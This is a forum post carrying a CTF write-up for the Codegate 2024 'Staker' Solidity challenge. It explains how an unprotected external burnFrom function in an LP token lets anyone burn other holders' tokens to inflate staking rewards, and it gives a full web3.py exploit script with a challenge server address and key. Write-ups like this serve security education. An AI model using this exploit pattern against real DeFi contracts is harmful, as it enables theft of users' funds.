자유게시판
코드게이트2024 예선 문제 Staker 풀이 방법입니다.

CTFTime 에 올릴려고 영어로 다 번역했는데 참여팀이 아니면 라이트업 못 쓰게 되어있는줄 몰랐네여.
글 쓴게 아까워서 그냥 여기에 올려봅니다.
여기 내용 길어지니까 게시판이 급격히 느려지네여. 내 컴이 느려지는건가..

The Staker challenge provides the following four Solidity files:

Token.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract Token is ERC20 {
    constructor() ERC20("Token", "TKN") {
        _mint(msg.sender, 186401 * 1e18);
    }
}

LpToken.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract LpToken is ERC20 {
    address immutable minter;

    constructor() ERC20("LP Token", "LP") {
        minter = msg.sender;
    }

    function mint(address to, uint256 amount) external {
        require(msg.sender == minter, "only minter");
        _mint(to, amount);
    }

    function burnFrom(address from, uint256 amount) external {
        _burn(from, amount);
    }
}

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {Token} from "./Token.sol";
import {LpToken} from "./LpToken.sol";
import {StakingManager} from "./StakingManager.sol";

contract Setup {
    StakingManager public stakingManager;
    Token public token;

    constructor() payable {
        token = new Token();
        stakingManager = new StakingManager(address(token));

        token.transfer(address(stakingManager), 86400 * 1e18);

        token.approve(address(stakingManager), 100000 * 1e18);
        stakingManager.stake(100000 * 1e18);
    }

    function withdraw() external {
        token.transfer(msg.sender, token.balanceOf(address(this)));
    }

    function isSolved() public view returns (bool) {
        return token.balanceOf(address(this)) >= 10 * 1e18;
    }
}

StakingManager.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {LpToken} from "./LpToken.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract StakingManager {
    uint256 constant REWARD_PER_SECOND = 1e18;

    IERC20 public immutable TOKEN;
    LpToken public immutable LPTOKEN;

    uint256 lastUpdateTimestamp;
    uint256 rewardPerToken;

    struct UserInfo {
        uint256 staked;
        uint256 debt;
    }

    mapping(address => UserInfo) public userInfo;

    constructor(address token) {
        TOKEN = IERC20(token);
        LPTOKEN = new LpToken();
    }

    function update() internal {
        if (lastUpdateTimestamp == 0) {
            lastUpdateTimestamp = block.timestamp;
            return;
        }

        uint256 totalStaked = LPTOKEN.totalSupply();
        if (totalStaked > 0 && lastUpdateTimestamp != block.timestamp) {
            rewardPerToken = (block.timestamp - lastUpdateTimestamp) * REWARD_PER_SECOND * 1e18 / totalStaked;
            lastUpdateTimestamp = block.timestamp;
        }
    }

    function stake(uint256 amount) external {
        update();

        UserInfo storage user = userInfo[msg.sender];

        user.staked += amount;
        user.debt += (amount * rewardPerToken) / 1e18;

        LPTOKEN.mint(msg.sender, amount);
        TOKEN.transferFrom(msg.sender, address(this), amount);
    }

    function unstakeAll() external {
        update();

        UserInfo storage user = userInfo[msg.sender];

        uint256 staked = user.staked;
        uint256 reward = (staked * rewardPerToken / 1e18) - user.debt;
        user.staked = 0;
        user.debt = 0;

        LPTOKEN.burnFrom(msg.sender, LPTOKEN.balanceOf(msg.sender));
        TOKEN.transfer(msg.sender, staked + reward);
    }
}

By analyzing the files above, the isSolved function in the Setup.sol file stands out.
These files do not contain any code to directly print the flag or read a file.
Instead, after meeting the isSolved condition, you can connect to the server and select menu option 3 to view the flag.

nc 43.201.150.10 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 

Through the menu option 1, you can launch a blockchain instance to withdraw coins, and attempt staking and unstaking.
Menu option 2 allows you to terminate the instance.

    function isSolved() public view returns (bool) {
        return token.balanceOf(address(this)) >= 10 * 1e18;
    }

By looking at the condition of the isSolved function, you can see that it returns true if there are 10 or more tokens.
In Setup.sol, you can see that a total of 100,000 tokens are minted.
Additionally, by calling the withdraw function in the Setup contract, you can withdraw 1 token to your account.
The initial fund is 1 token(TKN).

In the StakingManager.sol file, you can see that there are stake, unstakeAll, and update functions.
By staking 1 token (TKN) through the stake function, waiting 60 seconds, and then calling the unstakeAll function to unstake, you will be able to see that you receive a reward.
However, the reward is too small, and since the blockchain instance shuts down after 30 minutes, it is impossible to earn 10 tokens solely from the rewards.

        uint256 totalStaked = LPTOKEN.totalSupply();
        if (totalStaked > 0 && lastUpdateTimestamp != block.timestamp) {
            rewardPerToken = (block.timestamp - lastUpdateTimestamp) * REWARD_PER_SECOND * 1e18 / totalStaked;
            lastUpdateTimestamp = block.timestamp;
        }

At this point, if you check how the reward is calculated in the rewardPerToken section, you will see that it is determined by multiplying the time interval between function calls (the total time you wait after staking before unstaking) by the token unit, and then dividing by the total supply.
Roughly, if you wait for 60 seconds, you will receive a reward of about 0.0006.
This is a very small amount.
However, when dividing by the total supply, if the total supply is small—in other words, if the denominator is small—the reward increases.

After wasting a lot of time trying to find a vulnerability using only the stake and unstakeAll functions, I came up with the idea of reducing the total supply denominator. However, I wasn't sure if it was possible.

When listing the main functions in each Solidity source code file as follows, you can see certain characteristics. While internal functions cannot be called, functions marked as external can be called.

Setup.sol
    function withdraw() external {
    function isSolved() public view returns (bool) {

StakingManager.sol
    function update() internal {
    function stake(uint256 amount) external {
    function unstakeAll() external {

LpToken.sol
    function mint(address to, uint256 amount) external {
    function burnFrom(address from, uint256 amount) external {

When modeling the Setup contract with the ABI, you can directly and automatically obtain the addresses for the token and stakingManager variables, and they can be called.
The key to solving the problem was how to create the ABI for the LpToken and call the burnFrom function.

    function burnFrom(address from, uint256 amount) external {
        _burn(from, amount);
    }

Looking at the code, you can see that the burnFrom function burns the specified amount of tokens from the given address immediately upon being called, without any preconditions.

As a result, by inputting the Setup account address and burning 99999 coins, I succeeded in reducing the denominator, thereby increasing the token reward amount.

The key point of this problem lies in recognizing the difference between internal and external functions and having the ability to create an ABI interface through the LpToken.sol file to call the burnFrom function.

The following is the exploit code that performs the overall functionality.

from web3 import Web3
import json
import time
from web3.middleware import geth_poa_middleware

# RPC Endpoint Configuration
uuid = "b65f5661-3935-4961-a54f-e292efe9d791"
rpc_endpoint = "http://43.201.150.10:8888/" + uuid
web3 = Web3(Web3.HTTPProvider(rpc_endpoint))

# PoA Middleware Configuration
web3.middleware_onion.inject(geth_poa_middleware, layer=0)

# Private Key and Address Configuration
private_key = "0x4425a11e86153f505ec02d619a3902691c07f38c4465ca4c9b602fdb271f6492"
my_address = "0x1692Aa1480e03F14Cbf8454c06d2dd85f1F82f3C"

# Setup Contract Address
setup_contract_address = "0x54c4094BCD9f4255A06869a9fA3F666E5dfFdb37"

# Setup Contract ABI
setup_abi = json.loads("""
[
    {
        "constant": false,
        "inputs": [],
        "name": "withdraw",
        "outputs": [],
        "payable": false,
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "constant": true,
        "inputs": [],
        "name": "stakingManager",
        "outputs": [
            {
                "name": "",
                "type": "address"
            }
        ],
        "payable": false,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": true,
        "inputs": [],
        "name": "token",
        "outputs": [
            {
                "name": "",
                "type": "address"
            }
        ],
        "payable": false,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": true,
        "inputs": [],
        "name": "isSolved",
        "outputs": [
            {
                "name": "",
                "type": "bool"
            }
        ],
        "payable": false,
        "stateMutability": "view",
        "type": "function"
    }
]
""")

# StakingManager Contract ABI
staking_manager_abi = json.loads("""
[
    {
        "constant": false,
        "inputs": [
            {
                "name": "amount",
                "type": "uint256"
            }
        ],
        "name": "stake",
        "outputs": [],
        "payable": false,
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "constant": false,
        "inputs": [],
        "name": "unstakeAll",
        "outputs": [],
        "payable": false,
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "constant": true,
        "inputs": [],
        "name": "LPTOKEN",
        "outputs": [
            {
                "name": "",
                "type": "address"
            }
        ],
        "payable": false,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": false,
        "inputs": [
            {
                "name": "from",
                "type": "address"
            },
            {
                "name": "amount",
                "type": "uint256"
            }
        ],
        "name": "burnFrom",
        "outputs": [],
        "payable": false,
        "stateMutability": "nonpayable",
        "type": "function"
    }
]
""")

# Token Contract ABI
token_abi = json.loads("""
[
    {
        "constant": false,
        "inputs": [
            {
                "name": "spender",
                "type": "address"
            },
            {
                "name": "value",
                "type": "uint256"
            }
        ],
        "name": "approve",
        "outputs": [
            {
                "name": "",
                "type": "bool"
            }
        ],
        "payable": false,
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "constant": true,
        "inputs": [
            {
                "name": "account",
                "type": "address"
            }
        ],
        "name": "balanceOf",
        "outputs": [
            {
                "name": "",
                "type": "uint256"
            }
        ],
        "payable": false,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": false,
        "inputs": [
            {
                "name": "to",
                "type": "address"
            },
            {
                "name": "value",
                "type": "uint256"
            }
        ],
        "name": "transfer",
        "outputs": [
            {
                "name": "",
                "type": "bool"
            }
        ],
        "payable": false,
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "constant": true,
        "inputs": [],
        "name": "totalSupply",
        "outputs": [
            {
                "name": "",
                "type": "uint256"
            }
        ],
        "payable": false,
        "stateMutability": "view",
        "type": "function"
    }
]
""")

# LpToken Contract ABI (Add ERC20 Standard Functions)
lp_token_abi = json.loads("""
[
    {
        "constant": false,
        "inputs": [
            {
                "name": "to",
                "type": "address"
            },
            {
                "name": "amount",
                "type": "uint256"
            }
        ],
        "name": "mint",
        "outputs": [],
        "payable": false,
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "constant": false,
        "inputs": [
            {
                "name": "from",
                "type": "address"
            },
            {
                "name": "amount",
                "type": "uint256"
            }
        ],
        "name": "burnFrom",
        "outputs": [],
        "payable": false,
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "constant": true,
        "inputs": [
            {
                "name": "account",
                "type": "address"
            }
        ],
        "name": "balanceOf",
        "outputs": [
            {
                "name": "",
                "type": "uint256"
            }
        ],
        "payable": false,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": true,
        "inputs": [],
        "name": "totalSupply",
        "outputs": [
            {
                "name": "",
                "type": "uint256"
            }
        ],
        "payable": false,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": false,
        "inputs": [
            {
                "name": "spender",
                "type": "address"
            },
            {
                "name": "value",
                "type": "uint256"
            }
        ],
        "name": "approve",
        "outputs": [
            {
                "name": "",
                "type": "bool"
            }
        ],
        "payable": false,
        "stateMutability": "nonpayable",
        "type": "function"
    }
]
""")

# Create Setup Contract Instance
setup_contract = web3.eth.contract(address=setup_contract_address, abi=setup_abi)

# Create StakingManager Contract Address and Instance
staking_manager_address = setup_contract.functions.stakingManager().call()
staking_manager_contract = web3.eth.contract(address=staking_manager_address, abi=staking_manager_abi)

# Create Token Contract Address and Instance
token_address = setup_contract.functions.token().call()
token_contract = web3.eth.contract(address=token_address, abi=token_abi)

# Create LpToken Contract Address and Instance
lp_token_address = staking_manager_contract.functions.LPTOKEN().call()
lp_token_contract = web3.eth.contract(address=lp_token_address, abi=lp_token_abi)

# Build and Send Transaction Function
def send_transaction(contract_function, gas_price):
    nonce = web3.eth.get_transaction_count(my_address)
    transaction = contract_function.build_transaction({
        'chainId': web3.eth.chain_id,
        'gas': 2000000,
        'gasPrice': gas_price,
        'nonce': nonce,
    })
    signed_txn = web3.eth.account.sign_transaction(transaction, private_key=private_key)
    tx_hash = web3.eth.send_raw_transaction(signed_txn.rawTransaction)
    receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
    return receipt, tx_hash

# Check Account Balance Function
def check_balance(address):
    balance = token_contract.functions.balanceOf(address).call()
    return web3.from_wei(balance, 'ether')

setup_balance = token_contract.functions.balanceOf(setup_contract_address).call()
setup_balance_eth = web3.from_wei(setup_balance, 'ether')
print(f"Setup Contract Balance: {setup_balance_eth} TKN")

## Check TKN Balance of My Account
my_balance = check_balance(my_address)
print(f"My Account's TKN Balance: {my_balance} TKN")

# Get Current Gas Price
current_gas_price = web3.eth.gas_price  # wei 단위

# Convert to gwei
current_gas_price_gwei = web3.from_wei(current_gas_price, 'gwei')

print(f"Current Gas Price: {current_gas_price_gwei} gwei")

# Transfer Tokens from Setup Contract
receipt_withdraw, _ = send_transaction(setup_contract.functions.withdraw(), web3.to_wei('1', 'gwei'))

# Check Token Balance of My Account Again
my_balance = check_balance(my_address)
print(f"My Account Balance (After Token Transfer): {my_balance} TKN")

setup_balance = token_contract.functions.balanceOf(setup_contract_address).call()
setup_balance_eth = web3.from_wei(setup_balance, 'ether')
print(f"Setup Contract Balance: {setup_balance_eth} TKN")

# Check if There are Tokens to Burn (using totalSupply)
lp_token_total_supply = lp_token_contract.functions.totalSupply().call()
print(f"Total Supply of LP Tokens: {web3.from_wei(lp_token_total_supply, 'ether')}")

# Set Approval for StakingManager to Burn
send_transaction(token_contract.functions.approve(staking_manager_address, web3.to_wei('1000', 'ether')), web3.to_wei('10', 'gwei'))

# Call burnFrom in StakingManager
receipt_burn, tx_hash_burn = send_transaction(lp_token_contract.functions.burnFrom(setup_contract_address, web3.to_wei('99999', 'ether')), web3.to_wei('10', 'gwei'))

print(f"burnFrom Transaction Receipt: {receipt_burn}")
print(f"burnFrom Transaction Hash: {tx_hash_burn}")

current_balance = check_balance(staking_manager_address)
print(f"Staking Manager Balance After burnFrom: {current_balance} TKN")

# Approve Stake
send_transaction(token_contract.functions.approve(staking_manager_address, web3.to_wei('1', 'ether')), web3.to_wei('10', 'gwei'))

# Call Stake
send_transaction(staking_manager_contract.functions.stake(web3.to_wei('1', 'ether')), web3.to_wei('1', 'gwei'))
current_balance = check_balance(my_address)
print(f"Account Balance After Stake: {current_balance} TKN")

# wait....
time.sleep(60)

send_transaction(staking_manager_contract.functions.unstakeAll(), web3.to_wei('1', 'gwei'))
current_balance = check_balance(my_address)
        
# Handle Deposit
send_transaction(token_contract.functions.transfer(setup_contract_address, web3.to_wei('10', 'ether')), web3.to_wei('10', 'gwei'))
current_balance = check_balance(my_address)
print(f"Balance After Deposit: {current_balance} TKN")

# Call isSolved Function
is_solved = setup_contract.functions.isSolved().call()

if is_solved:
    print("The problem has been solved!")
else:
    print("The conditions have not yet been met.")
작성자 정보
avatar
Sechack
2024 Invitational Contenders
5개월 전
우와 감사합니다.
avatar
zkvlkat
프레시맨
4개월 전
올려주셔서 감사합니다!!
4개월 전
aaaa
4개월 전
aaaa
삭제된 댓글
댓글의 내용을 확인할 수 없으며, 답글만 확인할 수 있습니다.
LunaSec
대표 업적 없음
4개월 전
잘보고갑니다 ㅠㅠ 최고👍👍👍👍👍
avatar
taiji
강의 수강: 1
3개월 전
감사합니다